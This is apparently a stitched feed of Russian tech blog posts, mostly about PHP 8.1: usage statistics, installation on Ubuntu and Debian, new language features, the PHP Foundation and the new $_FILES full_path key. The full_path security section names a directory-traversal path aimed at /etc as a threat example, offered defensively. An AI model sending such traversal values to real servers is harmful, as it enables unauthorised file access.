Вот как раз предустановки вида «CORE 1» (выбран по умолчанию), «CORE 2», «ULTRA CORE 3», «ULTRA CORE 4» и будут менять поведение вашего мыша. Выбрав в качестве подопытного кролика ULTRA CORE 4 - я обновил прошивку мышки и Вуаля(!), все неадекватные действия со стороны мыши прошли. Все движения стали плавными и предсказуемыми. 

Утверждать, что это 100% вариант решения проблем совместимости мышей  A4Tech с Linux не стану, но как вариант решения вашей проблемы вполне имеет место быть.

Первая ежегодная статистика 2022 используемых версий PHP от Packagist

Прошло 6 месяцев с момента предыдущего поста, и за это время был выпущен PHP 8.1 . Будет интересно увидеть некоторые цифры и в этой новейшей версии

Важно отметить, что вся статистика открыта и все диаграммы доступны любому пользователю по ссылку https://packagist.org/php-statistics .

Статистика использования

Начнем с необработанных цифр: процент используемых версий PHP сегодня и шесть месяцев назад.

Можно заметить, что сюда не входят версии, использование которых не превышает 1%. Визуализация этих данных выглядит примерно так:

Приятно видеть, что PHP 8.1 используется почти в 10% всех установок композера всего через месяц после его выпуска. Имеет смысл, что его легче подобрать для проектов, уже использующих PHP 8.0, поскольку довольно легко перейти с PHP 8.0 на PHP 8.1.

Так радостно видеть рост PHP 8.0, хотя на PHP 8.0 и 8.1 вместе приходится только одна треть всех установок. Это означает, что две из трех установок композера используют версии PHP, которые больше не поддерживаются активно.

Переходя к обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени.

Несмотря на то, что PHP 7.4 начинает свой спад, ясно, что ему еще есть куда двигаться. Будем надеяться, что через шесть месяцев мы увидим более резкое снижение.

Требуемые версии

Еще одна интересная метрика — минимальная требуемая версия пакетов. Если использовать популярный анализатор пакетов Никиты Попова, чтобы загрузить 1000 самых популярных пакетов, и написать небольшой скрипт, чтобы получить самую низкую версию, которую они поддерживают, из их файлов composer.json, то получатся такие данные:

Для визуалов вот те же данные, визуализированные в виде диаграммы:

Вы можете быть удивлены, не увидев здесь PHP 8.1, но имейте в виду, что эти данные показывают минимальную требуемую версию. Это не означает, что ни один пакет не поддерживает PHP 8.1, это означает, что они также поддерживают PHP 8.0 или более ранние версии. Это имеет большой смысл, учитывая, что PHP 8.1 был выпущен чуть больше месяца назад.

Итак, в заключение: я вижу те же тенденции, что и в предыдущие годы, когда большинство установок композера все еще используют устаревшие версии. Я знаю, что у многих есть веские причины, почему они не могут или не хотят обновляться, но я также считаю, что быть в курсе современного PHP никогда не было так легко, как сегодня. Потратить пару часов или дней в году на поддержание работоспособности и актуальности вашей кодовой базы не должно быть проблемой ни для кого.

А Вы уже используете PHP 8.1?)

Установка PHP 8.1 в новой системе или обновление существующей установки PHP до PHP 8.1 достаточно проста в системах на основе Ubuntu и Debian с помощью предварительно скомпилированных файлов

PHP 8.1 уже выпущен с новыми функциями, улучшениями и устаревшими функциональными возможностями.

На сегодняшний момент ни один из текущих репозиториев программного обеспечения Ubuntu или Debian не предлагает PHP 8.1 в своих репозиториях программного обеспечения по умолчанию. Однако Ондржей Сури продолжает делать версии PHP доступными в виде репозитория программного обеспечения Debian/Ubuntu, и теперь доступны пакеты PHP 8.1.

Прежде чем приступить к установке, необходимо ознакомиться со списком изменений и устареванием конфигурационных файлов и расширений.

Изменения расширений и зависимостей PHP 8.1

Расширение Curl поддерживает DNS через HTTPS (DoH), начиная с PHP 8.1. Для этой функции требуется Curl версии 7.62 или более поздней, и она будет недоступна в более старых версиях Debian/Ubuntu, которые не включают в себя версию Curl более позднюю, чем 7.62. Например, эта функция будет недоступна в Ubuntu 18.04.

Изменения в директиве INI PHP 8.1

• функции date_sunrise, date_sunset и соответствующие им настройки INI - устарели
• настройки filter.default и filter.default_options INI - устарели
• Директива auto_detect_line_endings INI - устарела

Итак, приступим к установке PHP 8.1. 

1.Перечислите существующие пакеты PHP

При обновлении существующей версии PHP проще перечислить существующие расширения PHP, установленные как пакеты программного обеспечения, чтобы они соответствовали списку расширений PHP 8.1. В системах, которые устанавливают PHP 8.1 заново, этот шаг не требуется.

dpkg -l | grep php | tee packages.txt

Эта команда выводит список всех установленных пакетов PHP, отображает их на экране и сохраняет в файл с именем packages.txt в текущем рабочем каталоге.

2. Добавить PPA ondrej/php

После добавления этого репозитория первоначальную установку и обновления можно выполнить стандартными apt командами.

Ubuntu

sudo add-apt-repository ppa:ondrej/php # Press enter when prompted.
sudo apt update

Debian

sudo apt install apt-transport-https lsb-release ca-certificates wget -y
sudo wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg 
sudo sh -c 'echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list'
sudo apt update

 Приведенные выше шаги добавят PPA в качестве источника пакетов, который содержит все пакеты PHP и их зависимости, такие как argon2 и libzip.

3. Установите PHP 8.1 и расширения

Все пакеты PHP 8.1 следуют шаблону php8.1-NAME. Дополнительные расширения (такие как GD, Curl и т. д.) могут быть установлены так же, в виде наименование программных пакетов  (php8.1-gd, php8.1-curl и т. д.).

• php8.1 - это мета-пакет , который коллективно устанавливает несколько зависимостей, таких, как php8.1-cli и php8.1-readline, а также некоторые вспомогательные пакеты.
• php8.1-common - это также мета-пакет, который устанавливает большинство широко используемых расширений PHP за один раз. Он автоматически устанавливает пакет, например php8.1-pdo, php8.1-tokenizer и другие полезные расширения.

sudo apt install php8.1 php8.1-common php8.1-cli -y

Эта команда установит несколько расширений PHP - php8.1-common и CLI для PHP 8.1.  После установки, можно проверить наличие установленных модулей, запустив:

php -v # Показать версию PHP .
php -m # Показать установленные и загруженные модули PHP.

Вы можете установить дополнительные расширения по тому же шаблону php8.1-NAME. Обратитесь к файлу packages.txt, чтобы увидеть список существующих пакетов, если вы обновляете существующую систему. Обратите внимание, что начиная с PHP 8.0, расширение JSON входит в комплект и устанавливается неявно.

Пример установки еще нескольких полезных расширений:

sudo apt install php8.1-{bz2,curl,intl,xml}

Для сред разработки также могут быть установлены инструменты покрытия кода или отладчик Xdebug. 

sudo apt install php8.1-pcov # PCOV code coverage tool
sudo apt install php8.1-xdebug # Xdebug debugger

Внимание! Эти расширения не рекомендуется устанавливать на продакшн серверах. 

В зависимости от используемого веб-сервера вам потребуется установить дополнительные пакеты для интеграции с веб-сервером. 

Для использования Nginx, Litespeed и т.п. устанавливаем php8.1-fpm. Пакет обеспечивает интеграцию с PHP 8.1 через FPM:

sudo apt install php8.1-fpm

Для использования Apache mod_php установите libapache2-mod-php8.1:

sudo apt install libapache2-mod-php8.1

Обратите внимание, что обработчик Apache2 переименован из php7_module в php_module для PHP 8.0.  Пакет автоматически настраивает расположение модуля Apache, но если вы обновляете с существующей установки PHP, возможно , потребуется обновление конфигурационных файлов; в частности блоки <IfModule>. 

4. Протестируйте установку PHP 8.1

Чтобы убедиться, что все установлено, можно так же проверить установку PHP и расширений, выполните следующие команды:

php -v
php -m

PHP 8.0.13 (cli) (built: Nov 22 2021 09:50:43) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.13, Copyright (c) Zend Technologies
    with Zend OPcache v8.0.13, Copyright (c), by Zend Technologies
    with Xdebug v3.1.1, Copyright (c) 2002-2021, by Derick Rethans

[PHP Modules]
apcu
calendar
Core
ctype
curl
date
dom
exif
FFI
...
[Zend Modules]
Xdebug
Zend OPcache

Очистить старые версии PHP

Если новая установка работает должным образом, вы можете удалить старые пакеты PHP из системы. Например, если вы используете PHP 8.0 в качестве предыдущей версии, сделать это можно с помощью команды (Осторожно! Не удаляйте старую версию, не убедившись, что ни одно из ваших приложений не использует эту версию):

sudo apt purge '^php8.0.*'

Запуск PHP 8.1 с другими версиями

Вместо удаления старых версий PHP можно также запускать несколько версий PHP параллельно. Команда update-alternatives обеспечивает простой способ переключения между версиями PHP для PHP CLI.

sudo update-alternatives --config php

Есть 5 вариантов для альтернативы php (предоставляет /usr/bin/php).

  Выбор   Путь         Приор Состояние
------------------------------------------------------------
  0            /usr/bin/php8.1   81        автоматический режим
  1            /usr/bin/php7.2   72        ручной режим
  2            /usr/bin/php7.3   73        ручной режим
  3            /usr/bin/php7.4   74        ручной режим
* 4            /usr/bin/php8.0   80        ручной режим
  5            /usr/bin/php8.1   81        ручной режим

Более 124 человек внесли свой вклад в формирование PHP

Выпущен PHP 8.1 , это фантастический релиз! Он предлагает такие функции, как Enums, которые давно ожидались, и такие функции, как Fibers, которые расширяют возможности PHP как языка программирования.

Сотни других людей, с помощью отчетов об ошибках, раннего тестирования, документации, подкастов, выступлений и многого другого!

Сегодня PHP поддерживает более 75% Интернета, и этот выпуск, в конечном итоге, объединяет усилия всех участников в подавляющем большинстве Интернета. Спасибо за все ваши неустанные усилия по созданию PHP 8.1.

Поздравляем всех участников PHP-сообщества с выходом этого захватывающего релиза PHP 8.1 

Всем слона 🐘

PHP 8.1 был выпущен 25 ноября 2021 года

В этом посте мы последовательно рассмотрим все функции, улучшения производительности, изменения и прекращения поддержки.

Новые возможности

Как и другие выпуски PHP, PHP 8.1 добавит несколько приятных новых возможностей. Также я озвучу некоторые функции, которые еще не были реализованы, но у которых есть хорошие шансы появиться в конечном релизе PHP. Я обязательно буду это отмечать. Итак приступим!

Распаковка массива с помощью строковых ключей rfc

Распаковка массива уже была разрешена в PHP 7.4, но работала только с числовыми ключами. Причина, по которой строковые ключи не поддерживались раньше, заключается в том, что не было единого мнения о том, как объединять дубликаты массивов. RFC четко решает эту проблему, следуя семантике array_merge:

$array = ["a" => 1];

$array2 = ["b" => 2];

$arrayMerge = ["a" => 0, ...$array, ...$array2];

var_dump($arrayMerge); // ["a" => 1, "b" => 2]

Новый тип возврата never rfc 

Тип never может быть использован для того, чтобы  указать, что функция фактически остановит поток приложения. Это можно сделать, выбросив исключение, вызывая exit/die или используя другие подобные функции.

function redirect(string $url): never {
    header('Location: ' . $url);
    exit();
}

redirect('Test'); // код гарантирует не продолжение.
do_something_else();

Тип возвращаемого значения  never аналогичен существующему типу возвращаемого значения void, но тип never гарантирует, что программа завершится или выдаст исключение. Другими словами, объявленная функция/метод never типом вообще не должна вызывать return. 

function foo(): never {
    return;
}
foo();

TypeError: dispatch(): Nothing was expected to be returned

Как видите, если функция/метод с типом never никак не сгенерирует исключение, или прекратит  работу, то PHP выдаст исключение TypeError.

А если при never типе вызвать return, то PHP выдаст Fatal Error. Узнать об этом можно будет только во время вызова, а не во время синтаксического анализа.

function foo(): never {
    return;
}
foo();

Fatal error: A never function must not return in ... on line 2

Исходный RFC предлагал использовать noreturn для этой цели. Впрочем последующее голосование в RFC  прошло уже в пользу never и он был избран.

Новая функция array_is_list rfc 

Возможно, время от времени, вам приходится иметь с этим дело: определять, находятся ли ключи массива в числовом порядке, начиная с индекса 0. Точно так же, как json_encode решает, должен ли массив быть закодирован как массив или объект.

PHP 8.1 добавляет встроенную функцию, чтобы определить, является ли массив списком с этой семантикой или нет:

$list = ["a", "b", "c"];

array_is_list($list); // true

$notAList = [1 => "a", 2 => "b", 3 => "c"];

array_is_list($notAList); // false

$alsoNotAList = ["a" => "a", "b" => "b", "c" => "c"];

array_is_list($alsoNotAList); // false

Любой массив с ключами, не начинающимися с нуля, или любой массив, в котором не все ключи являются целыми числами в последовательном порядке, результат будет false:

// ключи начинаются не с 0
array_is_list([1 => 'apple', 'orange']); // false

// Ключи не отсортированы
array_is_list([1 => 'apple', 0 => 'orange']); // false

// Не все числовые ключи
array_is_list([0 => 'apple', 'foo' => 'bar']); false

// Непоследовательные ключи
array_is_list([0 => 'apple', 2 => 'bar']); false

• array_is_list принимает только параметры типа array. Передача любого другого типа вызовет исключение TypeError.
• array_is_list не принимает iterable или другие объекты класса, подобные массиву, такие как ArrayAccess, SPLFixedArray и т.д.
• array_is_list объявлен в глобальном пространстве имен.  

Полифил функции будет выглядеть, как:

function array_is_list(array $array): bool {
    if (empty($array)) {
        return true;
    }

    $current_key = 0;
    foreach ($array as $key => $noop) {
        if ($key !== $current_key) {
            return false;
        }
        ++$current_key;
    }

    return true;
}

Новая функция fsync rfc

PHP 8.1 добавляет fsync и fdatasync - функции принудительной синхронизации изменений файлов на диск и и обеспечивающие очистку буферов записи операционной системы.

$file = fopen("sample.txt", "w");

fwrite($file, "Some content");

if (fsync($file)) {
    echo "File has been successfully persisted to disk.";
}

fclose($file);

Поскольку синхронизация диска - это операция файловой системы, функция fsync будет работать только с обычными файловыми потоками. При попытке синхронизации нефайловых потоков будет выдано предупреждение.

Явное восьмеричное целочисленное буквальное обозначение rfc

Теперь вы можете использовать 0o (нуль и маленькая буква o) и 0O (нуль и большая буква O) для обозначения восьмеричных чисел. Предыдущее обозначение с префиксом числа "0" по-прежнему работает:

016 === 0o16; // true
016 === 0O16; // true

Enums (Перечисления) rfc

Перечисления будут добавлены в PHP 8.1.

Добавление перечислений было бы значительным улучшением в PHP, поэтому я, со своей стороны, с нетерпением жду дальнейшего развития этого RFC. Чтобы вы могли быстро увидеть, как они будут выглядеть, вот пример кода:

enum Status {
  case Pending;
  case Active;
  case Archived;
}

И вот как они будут использоваться:

class Order
{
    public function __construct(
        private Status $status = Status::Pending;
    ) {}

    public function setStatus(Status $status): void
    {
        // …
    }
}

$order->setStatus(Status::Active);

Fibers rfc

Файберы - также известные как «зеленые потоки» - это низкоуровневый механизм управления параллелизмом. Вероятно, вы не будете использовать их непосредственно в своих приложениях, но такие фреймворки, как Amphp и ReactPHP, будут широко их использовать.

Вот простой пример использования файберов: 

$fiber = new Fiber(function (): void {
    $valueAfterResuming = Fiber::suspend('after suspending');
    
    // … 
});
 
$valueAfterSuspending = $fiber->start();
 
$fiber->resume('after resuming');

Улучшения производительности pr

Дмитрий Стогов добавил некоторые улучшения в opcache, он называет это "кешем наследования". Эта функция позволяет кэшировать ссылки между классами, так же как связанные классы могут быть предварительно загружены в PHP 7.4.

Дмитрий сообщает о приросте производительности от 5% до 8% благодаря этому изменению, приятная небольшая деталь, на которую следует обратить внимание в PHP 8.1.

New в инициализаторах rfc

Этот RFC позволяет использовать ключевое слово new в определениях функций в качестве параметра по умолчанию, а также в аргументах атрибутов и в других местах.

class MyClass {
    public function __construct(
        private Logger $logger = new Logger(),
    ) {}
}

Более подробно можно почитать здесь. 

Свойства только для чтения rfc

Свойства класса могут быть помечены как доступные только для чтения, что означает, что они могут быть записаны только один раз.

class PostData {
    public function __construct(
        public readonly string $title,
        public readonly DateTimeImmutable $date,
    ) {}
}

Попытка изменить свойство только для чтения после его инициализации приведет к ошибке:

$post = new Post('Title', /* … */);

$post->title = 'Other';

Error: Cannot modify readonly property Post::$title

Первоклассный вызываемый синтаксис rfc

Теперь можно будет выполнить закрытие вызываемого объекта, вызвав этот вызываемый объект и передав (...) в качестве аргумента:

function foo(int $a, int $b) { /* … */ }

$foo = foo(...);

$foo(a: 1, b: 2);

Типы чистых пересечений rfc

Вы уже знаете о типах объединения в PHP 8.0, и типы пересечений представляют собой аналогичную функцию. Если для типов объединения требуется, чтобы входные данные были одного из заданных типов, для типов пересечений входные данные должны быть всех указанных типов. Типы пересечений особенно полезны, когда вы работаете с большим количеством интерфейсов:

Типы пересечений в настоящее время изначально не поддерживаются языком. Вместо этого нужно использовать аннотации phpdoc и/или использовать типизированные свойства , как показано в следующем примере:

class Test {
    private ?Traversable $traversable = null;
    private ?Countable $countable = null;
    /** @var Traversable&Countable */
    private $both = null;
 
    public function __construct($countableIterator) {
        $this->traversable =& $this->both;
        $this->countable =& $this->both;
        $this->both = $countableIterator;
    }
}

Типы чистых пересечений, позволяют указать с использованием синтаксиса T1&T2&... и их можно использовать везде там, где в настоящее время принимаются типы:

function generateSlug(HasTitle&HasId $post) {
    return strtolower($post->getTitle()) . $post->getId();
}

Если вам нравится этот стиль программирования, вам нужно будет создать новый Sluggable интерфейс и реализовать его в $post, типы пересечений избавляются от этих накладных расходов.

Константы финального класса rfc

Константы классов в PHP можно переопределить во время наследования:

class Foo
{
    public const X = "foo";
}
 
class Bar extends Foo
{
    public const X = "bar";
}

Начиная с PHP 8.1, вы можете пометить такие константы final, чтобы предотвратить это:

class Foo
{
    final public const X = "foo";
}
 
class Bar extends Foo
{
    public const X = "bar";
    
Fatal error: Bar::X cannot override final constant Foo::X

}

Новое значение $_FILES full_path для загрузки каталога

$_FILES- это суперглобальная переменная в PHP,  до PHP 8.1 массив $_FILES содержал относительные пути в файловой системе пользователя для учета подкаталогов, содержащих файлы с одинаковыми именами. В PHP 8.1 $_FILES содержит новый ключ с именем full_path, который содержит полный путь, указанный браузером.

var_dump($_FILES);

array(1) {
  ["myupload"]=> array(6) {
    ["name"]=> array(2) {
      [0]=> string(8) "file.txt"
      [1]=> string(8) "file.txt"
    }
    ["full_path"]=> array(2) {
      [0]=> string(19) "foo/test1/file.txt"
      [1]=> string(19) "foo/test2/file.txt"
    }
    ["tmp_name"]=> array(2) {
      [0]=> string(14) "/tmp/phpV1J3EM"
      [1]=> string(14) "/tmp/phpzBmAkT"
    }
    // ... + error, type, size
  }
}

 Здесь вы можете почитать более подробно о новом ключе full_path.

Критические изменения

Хотя PHP 8.1 является последующей версией после PHP 8, все же будут внесены некоторые изменения, которые технически могут быть критическими, а также устаревшими. Давайте обсудим их по очереди.

Типы возвращаемых значений интегрального метода

Скорее всего, вы можете столкнуться с этим уведомлением об устаревании при обновлении до PHP 8.1:

Return type should either be compatible with IteratorAggregate::getIterator(): Traversable, 
or the #[ReturnTypeWillChange] attribute should be used to temporarily suppress the notice

Вы можете заметить, эта ошибка выскакивают при использовании phpunit/phpunit, symfony/finder и некоторых других популярных пакетов с открытым исходным кодом. Произошло то, что внутренние функции начали использовать правильные возвращаемые типы. Если вы расширяете класс из стандартной библиотеки (например, IteratorAggregate), вам также необходимо добавить эти возвращаемые типы.

Исправление простое: обновите код вашего vendor, если ошибка возникает в стороннем пакете (большинство из них уже исправлены в последних выпусках). Если ошибка возникает в вашем коде, вы можете добавить атрибут ReturnTypeWillChange, подавляя ошибку до PHP 9.0. Вот пример расширения класса DateTime: 

class MyDateTime extends DateTime
{
    /**
     * @return DateTime|false
     */
    #[ReturnTypeWillChange]
    public function modify(string $modifier) 
    { 
        return false; 
    }
}

Или вы можете просто добавить тип возврата:

class MyDateTime extends DateTime
{
    public function modify(string $modifier): DateTime|false 
    { 
        return false; 
    }
}

Ограничить использование $GLOBALS rfc

Небольшое изменение способа использования $GLOBALS  существенно повлияет на производительность всех операций с массивами. Никита Попов отлично справляется с объяснением проблемы и решения в RFC . Это изменение означает, что в некоторых крайних случаях работать с $GLOBAL больше нельзя.

«То, что больше не поддерживается, - это запись в $GLOBALS, взятую как единое целое».

Все нижеперечисленное вызовет ошибку времени компиляции:

$GLOBALS = [];
$GLOBALS += [];
$GLOBALS =& $x;
$x =& $GLOBALS;
unset($GLOBALS);

Кроме того, передача $GLOBALS по ссылке вызовет ошибку времени выполнения:

by_ref($GLOBALS); // Run-time error

Никита проанализировал 2000 лучших пакетов на сайте packagist и нашел только 23 случая, на которые повлияет это изменение. Можно сделать вывод, что влияние этого технически критического изменения будет незначительным, поэтому internals решили добавить его в PHP 8.1. Помните, что большинство из нас выиграет от этого изменения, учитывая положительное влияние на производительность, которое оно оказывает во всем нашем коде. 

Перенос Ресурсов в объекты

Эти изменения являются частью долгосрочного видения преобразования всех ресурсов в выделенные объекты. Вы можете прочитать об этом здесь.

Fileinfo функции с объектами finfo. Функции вроде finfo_file и finfo_open используются для приема и возврата ресурсов. Начиная с PHP 8.1, они работают с объектами finfo.

Функции IMAP с объектами IMAPConnection. Как и при изменении информации о файле, IMAP работает как imap_body, а imap_open больше не работает с ресурсами.

Устарела передача null не null-ых аргументов внутренним функциям rfc

Это изменение простое: внутренние функции в настоящее время принимают null аргументы, которые не допускают значения NULL, этот RFC не рекомендует такое поведение. Например, сейчас это возможно:

str_contains("string", null);

 В PHP 8.1 такие ошибки будут вызывать предупреждение об устаревании, в PHP 9 они будут преобразованы в ошибки типа.

Автовивификация на false rfc

PHP изначально допускает автовивификацию (автоматическое создание массивов из ложных значений). Эта функция очень полезна и используется во многих проектах PHP, особенно если переменная не определена. Однако есть небольшая странность, позволяющая создать массив из ложного и нулевого значения.

Вы можете прочитать подробности на странице RFC. Таким образом, это поведение устарело:

$array = false;

$array[] = 2;

Automatic conversion of false to array is deprecated

Другие небольшие изменения

Вот краткое изложение наиболее значительных изменений:

• MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH больше не действует
• MYSQLI_STORE_RESULT_COPY_DATA больше не действует
• PDO::ATTR_STRINGIFY_FETCHES теперь также работает с логическими значениями
• Целые числа и числа с плавающей запятой в наборах результатов PDO MySQL и Sqlite будут возвращаться с использованием собственных типов PHP вместо строк при использовании эмулированных подготовленных операторов.
• Такие функции, как htmlspecialchars и htmlentities  по умолчанию, также переходят 'в &#039;; неверно сформированный UTF-8 также будет заменен символом Юникода вместо того, чтобы приводить к пустой строке
• У hash, hash_file и hash_init есть дополнительный аргумент  $options, по умолчанию он имеет значение [], поэтому не повлияет на ваш код.
• Новая поддержка для MurmurHash3 и xxHash

 На данный момент это все, имейте в виду, что я буду регулярно обновлять этот пост в течение года, поэтому можете следить за этим постом.

Многие члены сообщества PHP, включая JetBrains, сегодня объявляют о создании PHP Foundation для продолжения разработки языка.

Помимо них, в список участников входят Automattic, Laravel, Acquia, Zend, Craft CMS, Private Packagist, Tideways и PrestaShop.

Фонд PHP будет некоммерческой организацией, чья миссия состоит в том, чтобы обеспечить долгую жизнь и процветание языка PHP путем финансирования штатных и не только разработчиков, которые вносят свой вклад в язык. Фонд можно поддержать на странице Open Collective.  Только JetBrains уже внесла взнос в размере 100 000 долларов США в год.

Одна из причин этого решения заключается в том, что Никита Попов, один из ключевых участников, решил переключить свое внимание с PHP на LLVM. Никита Попов начал работать над PHP в 2011 году и работал над PHP в JetBrains почти три года, внося значительный вклад в три основных релиза - PHP 7.4, PHP 8.0 и PHP 8.1. Хотя идея возникла не впервые в сообществе PHP, с тех пор она витала в воздухе и окончательно конкретизировалась с объявленным уходом Никиты.

По словам инициаторов, следующие шаги - это поиск необходимых пожертвований и этап подачи заявки. Фаза приложения уже началась и направлена ​​на поиск разработчиков ядра PHP, а собранные Фондом средства могут быть использованы для оплаты их труда, с целью дальнейшего развития языка. Основная задача Фонда будет заключаться в финансировании разработчиков, работающих над PHP.

В PHP 8.1 добавлена интересная ​​функция, которая на первый взгляд может показаться мелочью, но я думаю, что она будет оказывать значительное повседневное влияние на многих людей.

Так в чем же польза от  оператора new в инициализаторах? Давайте посмотрим на пример, раньше мы все писали такой код:

class MyStateMachine
{
    public function __construct(
        private ?State $state = null,
    ) {
        $this->state ??= new InitialState();
    }
}

В этом примере с конечным автоматом мы хотели бы построить наш класс двумя способами: с начальным состоянием и без него. Если мы построим его без начального состояния, мы хотим, чтобы было установлено состояние по умолчанию. PHP,  конечно, поддерживает установку начальных значений непосредственно в списке параметров, но только для примитивных типов. Например, если бы наш конечный автомат использовал строки вместо объектов внутри, мы могли бы написать его конструктор следующим образом:

class MyStateMachine
{
    public function __construct(
        private string $state = 'initial',
    ) {
    }
}

Таким образом, с PHP 8.1 мы можем использовать тот же синтаксис «значения по умолчанию» и для объектов. Другими словами: вы можете использовать new для аргументов по умолчанию (которые являются одним из примеров «инициализаторов»): 

class MyStateMachine
{
    public function __construct(
        private State $state = new InitialState(),
    ) {
    }
}

 «Инициализаторы» - это больше, чем значения параметров по умолчанию, вот простое объяснение из RFC:

Этот RFC предлагает разрешить использование новых выражений внутри значений параметров по умолчанию, аргументов атрибутов, инициализаторов статических переменных и инициализаторов глобальных констант.

Да, вы правильно прочитали: атрибуты тоже есть в этом списке! Представьте себе простую библиотеку проверки, которая использует атрибуты для проверки ввода свойств. Возможно, она должна иметь возможность проверять элементы массива, примерно так:

class CreateEmailsRequest extends FormRequestData
{
    #[ValidArray(
        email: [new Required, new ValidEmail],
        name: [new Required, new ValidString],
    )]
    public array $people;
}

До PHP 8.1 вы не могли писать такой код, потому что вам не разрешалось использовать new в атрибутах из-за способа их оценки, но теперь вы можете! 

Давайте взглянем на некоторые важные детали, о которых стоит упомянуть.

Создание только при необходимости

Такого рода «новые значения» будут создаваться только тогда, когда это действительно необходимо. Это означает, что в нашем первом примере PHP создаст только новый объект, если InitialState не содержит аргументов:

class MyStateMachine
{
    public function __construct(
        private State $state = new InitialState(),
    ) {
    }
}

new MyStateMachine(new DraftState()); // InitialState не создается
new MyStateMachine(); // Сейчас создается

В случае атрибутов, например, объекты будут созданы только при newInstance вызове атрибута отражения. 

Не в свойствах класса

Также вы должны знать, что не можете использовать new значение по умолчанию в свойствах класса. Поддержка этой функции привела бы к множеству непредвиденных побочных эффектов, например, при сериализации и десериализации объектов:

class MyStateMachine
{
    private State $state = new InitialState();
}

Сначала кажется, что это большое упущение, но к счастью, это решается с помощью объявления свойства в конструкторе, которые допускают значение по умолчанию, поскольку PHP будет переносить синтаксис объявления свойств, сохраняя значение по умолчанию в аргументе конструктора, но не фактически в свойстве:

class MyStateMachine
{
    private State $state;
    
    public function __construct(
        State $state = new InitialState(),
    ) {
        $this->state = $state;
    }
}

Ограниченный ввод

Возможно, вы уже догадались, но вы можете передать только ограниченный набор входных данных при создании новых объектов в инициализаторах. Например, вы не можете использовать переменные, оператор распаковки, анонимные классы и т.д.

В PHP 8.1 $_FILES будет содержать новый ключ с именем full_path, который содержит полный путь к файлу, указанный браузером.

$_FILES - суперглобальная переменная PHP. Она содержит имена, размеры и MIME-типы файлов, загруженных в текущем HTTP-запросе.

В полях загрузки HTML-файла можно загрузить весь каталог с атрибутом webkitdirectory. webkitdirectory- это атрибут HTML, который можно использовать в элементах HTML input с расширением type=file. Это не стандарт браузера, но его поддерживают все основные браузеры, включая Chrome 6+, Firefox 50+, Edge 13+ и Safari 11.1+.

<form action="" method="post" enctype="multipart/form-data">
    <input name="files[]" type="file" webkitdirectory multiple />
    <input type="submit" />
</form>

До PHP 8.1 $_FILES содержали относительные пути в файловой системе пользователя для учета подкаталогов, содержащих файлы с одинаковыми именами.  Например, если пользователь загружает каталог foo, значение name массива $_FILES содержит только имя файла без относительного пути:

foo
 ├── dir1
 │    └── file.txt
 └── dir2
      └── file.txt

Если посмотрим содержимое $_FILES:

var_dump($_FILES);

array(1) {
  ["files"]=> array(6) {
    ["name"]=> array(2) {
      [0]=> string(8) "file.txt"
      [1]=> string(8) "file.txt"
    }
    ["tmp_name"]=> array(2) {
      [0]=> string(14) "/tmp/phpK1J4UI"
      [1]=> string(14) "/tmp/phpgRqHHs"
    }
    // ... так же содержит поля error, type, size
  }
}

 До PHP 8.1 было невозможно принять каталог как файл, загруженный из браузера пользователя, и сохранить их с точной структурой каталогов или получить доступ к относительным путям, потому что PHP не передавал эту информацию в массиве $_FILES.

В PHP 8.1 такая возможность появилась, благодаря новому ключу с именем full_path, который содержит полный путь, указанный браузером.

var_dump($_FILES);

array(1) {
  ["files"]=> array(6) {
    ["name"]=> array(2) {
      [0]=> string(8) "file.txt"
      [1]=> string(8) "file.txt"
    }
    ["full_path"]=> array(2) {
      [0]=> string(19) "foo/dir1/file.txt"
      [1]=> string(19) "foo/dir2/file.txt"
    }
    ["tmp_name"]=> array(2) {
      [0]=> string(14) "/tmp/phpK1J4UI"
      [1]=> string(14) "/tmp/phpgRqHHs"
    }
    // ... + error, type, size
  }
}

Имея информацию из full_path, можно сохранить относительные пути или восстановить тот же каталог на сервере.

В приведенном выше примере массив $_FILES['files']['full_path'] содержит путь к загруженному файлу, включая его путь. Это более полезно в отличие от массива $_FILES['files']['name'], который содержит повторяющиеся записи, потому что оба dir1 и dir2 содержат файл с тем же именем file.txt.  

Временный путь для загруженных файлов ($_FILES['files']['tmp_name']) остается уникальным и не сохраняется во вложенных каталогах. Можно безопасно продолжать использовать значения tmp_name с функцией move_uploaded_file.
Массив full_path будет всегда существовать для всех загрузок файлов, включая стандартные одиночные или множественные загрузки файлов, и в некоторых случаях будет просто идентичен массиву name.

Повышение безопасности

PHP анализирует только информацию об относительном пути, отправленную браузером, и передает эту информацию в массив $_FILES. Нет гарантии, что значения в массиве full_path  содержат реальную структуру каталогов, и приложения PHP не должны доверять этой информации.

Значения в массиве full_path вводятся пользователем, и им нельзя доверять!

Приложения, которые принимают загрузку каталога и хранят файлы в соответствии со значениями full_path, должны обеспечить правильную проверку информации в full_path, перед перемещением загруженных файлов во вложенный каталог.

Некоторые варианты угроз:

• Атаки с обходом каталогов, отправляя путь, который ведет к другому каталогу, например foo/../../../etc/password.
• Атаки на исчерпание ресурсов, отправляя путь с глубоко вложенными путями, например foo/a/a/a/a/a/a/a/a/a/a/a/a/a.jpg, или очень длинное имя, которое приведет к ограничению пути в определенных файловых системах.
• Нарушение целостности из-за предоставления имени файла, которое не может быть создано, например CON, недопустимое имя файла - Файловые системы Windows.

Чтобы предотвратить такие атаки, всегда ограничивайте уровень вложенности, убедитесь, что файл не существует перед записью, и запрещайте пути, которые позволяют обход каталога. Кроме того, ни в коем случае нельзя удалять стандартные проверки содержимого файла (такие как проверка расширения файла и типов MIME).

Влияние на обратную совместимость

Ключ массива full_path в $_FILES - это новая функция в PHP 8.1. Существующие значения массива name не изменяются, и они продолжают содержать только имя файла без пути к файлу.

Использование full_path в более старых версиях PHP

К сожалению, нет простого способа перенести эту функциональность в более старые версии PHP.

Для загрузки файлов требуется наличие в форме HTML атрибута enctype="multipart/form-data". Из-за этого атрибута PHP поток в php://input будет пустой, потому что PHP заполняет суперглобальные переменные $_POST и $_FILES и опустошает php://input поток. Это исключает получение предоставленной браузером информации о пути к файлу при чтении потока php://input.

